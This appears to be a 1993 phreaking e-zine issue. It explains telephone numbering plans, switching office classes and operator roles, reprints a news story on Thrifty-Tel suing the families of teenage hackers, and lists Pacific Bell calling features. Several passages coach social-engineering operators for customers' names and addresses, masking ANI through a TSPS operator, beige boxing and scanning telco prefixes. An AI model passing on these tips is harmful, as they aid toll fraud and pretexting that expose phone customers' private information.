Please enter CSUnet Access Core (return for default): ctp <Enter>
|
|
|
|
Connecting to SWRL33...
|
|
|
|
SunOS UNIX (eis.calstate.edu)
|
|
login: ctp
|
|
|
|
[2] Select apply for an account from the menu.
|
|
[3] Fill out application with a real mailing address in California
|
|
in order to receive mail with your account and password.
|
|
|
|
Commentary
|
|
|
|
Due to extensive hack attempts at CSUnet, they have gone to this
|
|
really lame menuing system. It restricts you to it, and no shell.
|
|
Which really sucks, so I personally use this as a gateway and then
|
|
telnet to another site with a shell, but hey, they are plenty of
|
|
dialups and its a mailing address.
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Art of Phreaking I
|
|
by Electronic Vampyre
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Preface: With my dealings with PiRaTeS nationally i have found many know
|
|
little about phreaking. Furthermore, phreaking seems to be an arcane art few
|
|
know and only the reveared elite know. Every PiRaTe knows the basic k-rad
|
|
phreak stuff (c/na loops, ANI, COCOTs, etc.) and basic circumvention methods
|
|
(boxes, c0dez, etc.) but most lack the hard core info of phreaking. PiRaTiNG
|
|
encorperates all aspects of P.H.A.C.C.V. but the "P." seems to be replaced by
|
|
a "C." for c0dez. This is intended to inform the uneducated, if you are
|
|
already knowledged in the aspects of phreaking then skip this.
|
|
|
|
Initially i will examine the procedures of dialing (both domestic and
|
|
international) and the numbering plans for each.
|
|
|
|
DOMESTIC DIALING
|
|
----------------
|
|
In the United States and Canada telephone numbers are based on a ten digit
|
|
dialing code (better known as the network address or destination code), the
|
|
break down of this code is as follows:
|
|
|
|
- a 3 digit Number Plan Area (NPA) code (aka Area Code). This tells
|
|
the switching equipment where to send the signal.
|
|
- a 7 digit telephone number. This number consists of a 3 digit
|
|
Central Office (CO) code, to further direct the signal, and a 4 digit station
|
|
number.
|
|
- all numbers consist of the following format:
|
|
|
|
NPA Telephone Number
|
|
--- ----------------
|
|
N*X NXX . XXXX
|
|
|
|
N = a numerical digit with a value of 2-9
|
|
* = a numerical digit with a value of 0 or 1
|
|
X = a numerical digit with a single value (0-9)
|
|
|
|
The NPA breaks into two types of numbers, Area Codes and Special Access Codes
|
|
(SAC's). The area code represents an area within one state's boundaries and
|
|
all the numbers within it. A list of area codes can be obtained from your
|
|
trusty white pages. SAC's are found nationally and can be used from any
|
|
telephone within the North American Numbering Plan. SAC's include the
|
|
following:
|
|
|
|
510 - USA TWX services
|
|
610 - Canadian TWX services
|
|
700 - Specialized Telephone Company uses
|
|
710 - USA TWX
|
|
800 - Wide Area Telephone Services (WATS)
|
|
900 - Dial-it services
|
|
910 - USA TWX
|
|
|
|
- TWX SAC's
|
|
The SAC's of TWX (Telix ][) consist of the above numbers, these are owned and
|
|
utilized primarily by Western Union. Each number is routed to a normal
|
|
telephone number and will always respond with an answerback. The baud rate
|
|
for these SAC's is 110.
|
|
|
|
- 700 SAC
|
|
The 700 SAC is used for speciality services. The 700 SAC is similar to that
|
|
of the WATS and 900's for it encompasses normal dial-in calls. When generated
|
|
the customer decides if the number is to be a toll (pay) call or charged to
|
|
the generating customer. Examples of 700 SAC's:
|
|
|
|
1.700.555.4141 (toll free) - this allows the customer to check
|
|
their long distance carrier.
|
|
1.700.456.1000 (toll) - AT&T Alliance number to initiate an
|
|
immediate non-meet me conference.
|
|
Others: AT&T Alliance toll meet me conferneces.
|
|
AT&T Easy Reach - This is a new service that allows a
|
|
customer to have all calls sent to the
|
|
predetermined 700 to their present
|
|
location phone number. These calls to
|
|
the 700 number can be either free or
|
|
toll depending on the type of service
|
|
the customer requests. For more info
|
|
call 1.800.222.0300.
|
|
|
|
- 800 SAC
|
|
This SAC is the favorite of most PiRaTeS for it allows for toll-free calls.
|
|
Many c0dez, dialups, VMB cities, etc. are found within this domain. There are
|
|
two type of WATS (800) services.
|
|
|
|
Inward WATS (INWATS) - The inward dial wide area telecommunications
|
|
service are most common and known. These are established in 6 service areas
|
|
or BANDS. A level 6 band is available nationally with the exception of the
|
|
originating state (usually there is another INWATS number for this area,
|
|
better known as INTRASTATE WATS).
|
|
Band 5 INWATS encorperates the 48 continental states. This continues until
|
|
band 1 is reached; service is only included to the state and neighboring
|
|
states. When dialed the INWATS number causes the CO to search for the
|
|
companies first available line. It searches sequentially until an available
|
|
port is found, if not then it returns a busy signal. Usually a minimum of 2
|
|
lines is required for an INWATS number (personal 800 numbers differ). Billing
|
|
of an INWATS number is based on time spent on the number.
|
|
* NOTE - The ANI when calling an INWATS can be cirvumvented by having your
|
|
local TSPS operator dial the number for you.
|
|
|
|
Outward WATS (OUTWATS) - These are 800's used by large companies for
|
|
large, volume discount outward dialing. These are used primarily because
|
|
these services are given with bulk-rate discounts. The DO NOT allow inward
|
|
calls. Their format consists of:
|
|
|
|
(800) *XX.XXXX
|
|
* - numerical digit of 0 or 1
|
|
X - numerical digit of 0-9.
|
|
The specific *XX identifies the type of services and calling zones.
|
|
|
|
- 900 SAC
|
|
This SAC allows for dial-it services. It has flat rate standardized costs.
|
|
These are primarily used for voting, quiz calls, etc.
|
|
|
|
Along with the above listed SAC's there are also others known as CO Codes.
|
|
|
|
555 - Directory Services
|
|
844 - Time \_ these are more commonly found in the 976 exchange
|
|
936 - Weather / TIME - 1.800.844.3434 WEATHER - 1.800.936.XXXX
|
|
950 - Extender Services
|
|
958 - Plant Test
|
|
959 - Plant Test
|
|
976 - Dial-it Services
|
|
|
|
ANI and Ringback are considered special CO codes and vary from area to area.
|
|
|
|
950
|
|
---
|
|
This is a code given to large companies to allow for thier employees call
|
|
toll-free from any location and all charges are billed to the company.
|
|
|
|
Plant Test Numbers
|
|
------------------
|
|
ANI (Automatic Number Identification) - This tells you the number that you are
|
|
calling from. This number is free and can be used from any phone within the
|
|
network. This is intended for linemen to have access to the number they are
|
|
dealing with when they clip into a line, etc.
|
|
|
|
Ringback - This allows for you to make the phone you are at ring. This number
|
|
is free when dialed within the network. This is intended for linemen to be
|
|
able to test a phone's ringing capabilities and other related things. (This
|
|
is the number every elementary child uses to make the pay phones ring.)
|
|
|
|
X11 Codes
|
|
---------
|
|
011 - International Dialing Prefix
|
|
211 - Coin Refund Operator (in 6i9 this number also encorperates ANI)
|
|
411 - Local Directory Assistance
|
|
611 - Repair Services
|
|
811 - Business Offices
|
|
911 - Emergency
|
|
|
|
976
|
|
---
|
|
This is the dial-it services that allow the destination number to set the
|
|
billing rate (via ccd's). This is primarily used by party lines, prono lines, and live
|
|
interaction telephoning.
|
|
|
|
* The following is a list of unpublished and unclaimed 3 digit prefixes
|
|
and NPA numbers. The telephone company utilizes these for their own purposes
|
|
and testing. Scan away and see what you can find.
|
|
|
|
Area Numbers
|
|
---- -------
|
|
200 201-10, 212-19, 227, 240-57
|
|
300 320-36, 360-89
|
|
400 391-419
|
|
500
|
|
600 635-55
|
|
700 769-81
|
|
800 820-44, 846-99
|
|
900 946-64
|
|
|
|
|
|
NON U.S. & CANADIAN DIALING
|
|
---------------------------
|
|
With international dialing the world has been separated into 9 zones. To dial
|
|
an international number the format must include:
|
|
|
|
International Prefix + Country Code + National Number
|
|
eg. 011 + XXX + XXX.XXXX
|
|
|
|
In making a call the prefix of 011 can be swithed with the prefix of 01. The
|
|
011 number is used in International Direct Distance Dialing (IDDD) with the
|
|
remaining will contact an operator for assistance.
|
|
The country code is a number varying in size from 1-3 digits with the world
|
|
numbering code as the initial number.
|
|
|
|
For example:
|
|
|
|
1 - North America (USA & Canada)
|
|
2 - Africa
|
|
3 - Europe
|
|
4 - Europe
|
|
5 - Non US North America
|
|
6 - Australia
|
|
7 - U.S.S.R.
|
|
8 - Asia
|
|
9 - Asia
|
|
|
|
* Note the country code of 87X is reserved for Maritime Mobile
|
|
communications.
|
|
|
|
871 - Atlantic Ship Communications
|
|
872 - Pacific Ship Communications
|
|
873 - Indian Ocean Ship Communications
|
|
|
|
All calls originating from the US & Canada are routed through "gateway" cities.
|
|
These 4ess's are the International Swithching Centers (ISC's) for country
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code 1. Each ISC must convert the US signaling system of MU-255 to the
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international system of CCITT.
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'Nuff Said 'bout the network.
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Let's continue into the world of phone system operators and simple office
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structure.
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In the NPA system of North America, every switching office is assigned an
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official name and class of operation. Depending on the duties performed each
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is assigned a numerical value from 1-5. Your local CO is usually a non-toll
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facility that performs simple routing tasks and is thus a class 5 end office.
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All long distance calls leave your CO and get routed to another non-class 5
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toll office. In addition to the other class offices (1-4) there are also
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class 4x (called intermediate points) offices and Remote Switching Unit (RSU)
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offices (a 4x office with an unattended exchange encorperated with it).
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Class NAME ABBREVATION
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----- ---- -----------
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1 Regional Center RC
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2 Sectional Center SC
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3 Primary Center PC
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4 Toll Center TC
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4P Toll Point TP
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4X Intermediate Point IP
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5 End Office EO
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R Remote Switching Unit RSU
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When a call is initiated from your house it is sent to your local CO (EO)
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where it is sent along to its destination. The CO tries to find the shortest
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path from itself and its destination end office. It initially tries
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inter-office trunk lines, but if none exist it searches for the next highest
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(usually a class 4 toll center of some sort) office. If that trunk line is
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busy or cannot be handled it is sent to another office or descends the office
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hierarchy (next highest office) until it reaches it destination.
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While end offices are in abundance the class 1 regional center (RC) is rare.
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These offices provide the foundation of the entire network.
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* NOTE - When directing the INWATS number through the TSPS operator the
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ANI for your call will produce a number with the prefix of your closest RC
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and the remainder of 0's. The network assumes that your call is from within
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the system and is circumvented. From 6i9 the ANI when dialed this way would
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read 7i4.000.0000.
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More information of the network is another phyle.
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This is just an overview to get you acquainted with the system.
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In everyone's phone experience (especially any phreak or hack's), it is
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inevitable that you will speak to an operator at one time or another.
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The following is a list of the more common operators and their abilities.
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TSPS Operator
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This is the standard "0" operator. Thier job is basically the host and
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general information giver of the network. They have the ability to connect
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you to most of the other facilities within the network and execute simple (if
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need be) for the customers. The TSPS (Traffic Service Position System)
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operator has immediate ANI and calll tracing abilities. They know when a call
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originates from a non-COCOT (Customer Owned Coin Operated Telephone) pay
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phone and can pull info up on the origin telephone owner. Be cautious when
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dealing with these people. [i've found the TSPS op. to be quite nice and easy
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to acquire info from; every op. i've spoken to using the social engineer
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technique of a student doing a report has been VERY helpful.]
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INWARD Operator
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This operator assists your local TSPS operator in making calls. They will
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never question a call within their service area. Usually a TSPS operator can
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direct dial and does not use an inward operator. [On occasion i've
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encountered an inward op., they are not too well informed and tend to be
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robot-like ("Number please... Thank you").]
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Directory Assistance
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When you dial "information" or any of the name search identification numbers
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you speak with a directory assistance operator. They do not have automatic
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ANI nor would have access to immediate ANI from another location. At local
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levels an operator can obtain a number of a person or place but cannot give
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unlilsted numbers. They are basically an automated white pages. They cannot
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cross reference a number by address but can cross reference after an inquiry
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is made. [These op.'s know nothing and are not easily succeptable to social
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engineering.]
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CN/A Operators
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The CN/A (Customer Name and Address, now changed to location only in some
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areas) operator is an operator accustomed with dealing with other telephone
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company employees. The CN/A bureau is designed for linemen (or other
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telephone employees) to easily obtain simple information on a customer solely
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from their telephone number. These operators assume that you are an employee
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of the network and are quite liberal with information. Social engineering is
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quite easy and much useful information can be obtained on a person through
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the CN/A operator. [In some areas this number is listed in the telephone
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book, otherwise it can be obtained from most PiRaTeS.]
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Billing Operators
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These are quite powerful operators. They have immediate access to the
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information and ANI of the telephone you are calling from. They usually begin
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with asking your name and calling number to verify if you are the billing
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person. Social engineering is possible if you are beige boxing, or if yo
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know all the information on the person paying the bill on the telephone you
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are using. They have the ability to perform any task on line maintenance etc.
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They are quite knowledgeable and are willing to assist.
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Conference Operators
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This operator knows little and can do less. They perform one task and only
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one task. Other than getting information on the different types of
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conferences or establishing a conference they are a waste of time to talk to.
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Rogue Operators
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These operators are quite knowledgeable and powerful. Their duty is to roam
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the network and assist when needed (They are usually powerful supervisers,
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etc.). Because of their knowledge and experiences dealing with phreaks, etc.
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they are reluctant to give out information (also they are not on the line to
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talk, they are there because the operator they are filling in for is busy,
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etc.). Like most people they are succeptable to social engineering.
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Usually an operator is nice and helpful, if a problem arises with one be sure
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to get their operator number (or name) and ask to speak to their supervisor.
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The supervisor is quite helpful and will immediately rectify the situation.
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For further information on the network or you have more questions on the
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system contact your TSPS operator and request the number to the closest
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Research Department.
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Next time - Switching equipment, COCOTS, maybe more, maybe less.
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ELeCTRoNiC VaMPYRe '93
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Thrifty Tel Inc.
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by Chaos
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(--------------------------------------------------------)
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* The following is an exert from the Times Advocate, Monday,
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* April 12, 1993, page B1 section 1.
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Jeffrey Cushing knew his teen-age son was a "computer-freek,"
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[gee this guy sure did his research, would it not be PHreak with a
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PH?] spending hours hunched over a bedroom keyboard, playing games
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and tapping out messages to friends.
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It seemed like wholesome, high-tech fun - until Cushing was
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sued last April by a Garden Grove telephone company that accused
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his son of hacking into its long-distance lines.
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The tab: $80,000. "I was in shock," said Cushing, a 51 year-
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old advertising executive from Huntington Beach. "All of a sudden
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this guys knocks on the door at 9 p.m. and serves me with this
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humongous suit."
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The war against hackers who steal longdistance telephone time
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has left a trail of slackjawed parents throughout California.
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Hit with lawsuits, search warrants and demands for damages,
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many parents are gulping hard and paying the toll for telephone
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fraud.
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The practice isn't limited to Orange County, either.
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Recently, the parents of an Escondido boy caught hacking were
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ordered to pay $33,000 in damages by an Orange County judge.
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Although no record is kept, some industry analysts estimate
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that telephone fraud drains as much as $5 billion a year from
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companies nation wide. [From profit that they could have made, not
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acutal lost money, keep this in mind]
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"Fraud on the (telephone) network is still one of the most
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devastating thing to longdistance companies, especially the smaller
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ones," said Jim Smith, vice president of the 34-member California
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Association of Long Distance Telephone Companies.
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The culprits are juveniles, whose parents know little about
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computers and less about what their children are doing with them.
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At the forefront in pursuing the dial-tone desperados is
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Thrifty-Tel Inc. of Garden Grove, which in 1990 became the first
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telephone company to impose a tariff on hackers.
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The idea was copied by several other small phones companies in
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California, although Thrifty's tariff remains the highest at
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$2,880, per day, per line.
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As part of every settlement, Thrifty also confiscates the
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offending computer.
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"This is designed to spank'em hard. it can (financially) wipe
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out a family," said Dale L. herring, Thrifty's director of
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security. "I sympathize, to some extent, but why should our
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company absorb the loss? Giving their kids a computer and a modem
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is like giving them a loaded gun."
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Thrifty estimates its hacker losses at $22,000 a month.
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Over the past three years the company has recovered nearly $1
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million and has nabbed 125 hackers - the vast majority of them
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juveniles. About 24 cases were prosecuted with nearly all the
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defendants pleading guilty.
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Early this month Thrifty busted a 10-member ring of teen-age
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hackers stretching from La Habra to Mission Viejo.
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Criminal charges are pending against one of the suspects, a
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19-year-old Irvine man who is accused of having called Thrifty's
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computer system 6,435 times in 24 days. More than 1,000 calls came
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on Christmas.
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The bill for Thrifty: $75,000.
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For the novice, hacking programs with names such as "Code
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Thief Deluxe" are widely available and can be downloaded without
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charge from computer bulletin boards.
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"It's becoming a subculture. Just as kids were sucked into
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'Dungeons and Dragons' they're being sucked into hacking," said
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Herring of Thrifty.
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Often teen-age hackers are highly intelligent loners, addicted
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to the worldwide computer bulletin boards that allow them to
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communicate with others of their ilk.
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"But they run up $300 to $400 in monthly phone bills, their
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parents go ballistic, so they turn to hacking," Herring said.
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Unknown to the young hackers, some calls can be traced.
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[Notice this SOME] Digging through stacks of computer printouts,
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Herring and other experts at Thrifty have followed the electronic
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trail over the past three years to :
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* A high school student in Santa Ana who was blamed for more than
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$240,000 in losses to Thrifty and two other longdistance companies
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in 1991. The boy pleaded guilty to telephone fraud.
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* A six-member ring of San Diego high school students who raided
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the system in March. Tehir families are paying more than $100,000
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in damages.
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Herring said the response from parents is always the same.
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"Their first reaction is they want to kill their kids. Then, 24
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hours later, they want to kill us," Herring said.
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Last year, a 63-year-old father from San Diego responded to
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Thrifty's demand for $16,000 by filing a harassment suit. The man
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contended that he suffered from a nervous condition and had been
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warned by his doctor to avoid emotional shock.
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And what could be more shocking then begin hit with Thrifty's
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$2,880-a-day tariff, which the Public Utilities Commision approved
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in 1990?
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The tariff is meant to recover the costs of investigating
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hackers, paying attorneys and losing customers who've been
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victimized.
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While the fee has been upheld in court, some parents complain
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that it is unfar and inflated. The actual cost of the pirated
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phone calls ammounts to only a small part of the huge damages
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sought by Thrifty.
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Part of Thrifty's aggression in civil court comes from its
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growing inability to get the hackers into criminal court.
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New Pacific Bell Features
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by Chaos
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Repeat Dialing
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It happens often. You need to make an important call--but the
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phone number you're trying to reach is busy. You could keep
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trying. But it's a lot easier to let Repeat Dialing keep trying
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for you.
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Repeat Dialing redials the last phone number you called, and keeps
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trying ever 45 seconds for up to 30 minutes.
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To use repeat dialing :
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To call back the last number you dialed
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* Hang up;lift receiver;wait for dialtone
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* Press *66 (Rotary phone dial 1166).
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If this line is now free, your call will go through as usual.
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If the line is still busy:
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* Wait for recorded instructions. They will tell you what to do
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next. Then hangup.
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* Use your phone as usual to make or receive calls. When you
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line and the line you're trying to reach are both free :
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* Your phone will signal you with a distinctive ring.
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* Lift your receiver. Your call will be places automatically.
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Select Call Forwarding
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You have to go out--but you're also expecting an important call.
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Now you can have that call forwarded to you--and other important
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calls, too. But you won't have to get the unimportant ones. Now
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you can select just the calls you want with Select Call Forwarding.
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To use select call forwarding:
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* Lift receiver; wait for dial tone.
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* Press *63 (Rotart phone dial 1163).
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* Dial 3;wait until recorded instructions begin.
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To enter your forwarding phone number.
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* Enter phone number where calls should go, then press # (Rotary
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phone simply dial phone number).
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* If the phone number is correct, dial 1.
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* If the phone number is not correct dial 0; then enter the
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correct forwarding phone number,
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* Wait for confirmation announcment.
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Priority Ringing
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~~~~~~~~~~~~~~~~
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Wouldn't it be nice to know--before answering--if a phone call was
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from somebody you really wanted to talk to? Now, with Priority
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Ringing, your telephone will tell you when a call is important.
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To use priority ringing:
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* Lift receiver; wait for dial tone.
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* Press *61 (Rotary dial 1161).
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* Dial 3
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* Use list editing commands
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Notice
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The new Custom Calling servies are not available with some types of
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telephone services and are not available in some areas. These
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services work only on calls to and from locations within the same
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calling area. If you have dificulty using a feature from a
|
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particular phone number, contact your local Pacific Bell Business
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Office for information about specific telephone prefixes currently
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included in your Service Area.
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Misc. Info
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Remember, send all mail to :
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MAGIK@pnet01.cts.com VIA Internet or (lamers) WWiVNeT #151 @16964
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(-eof-)
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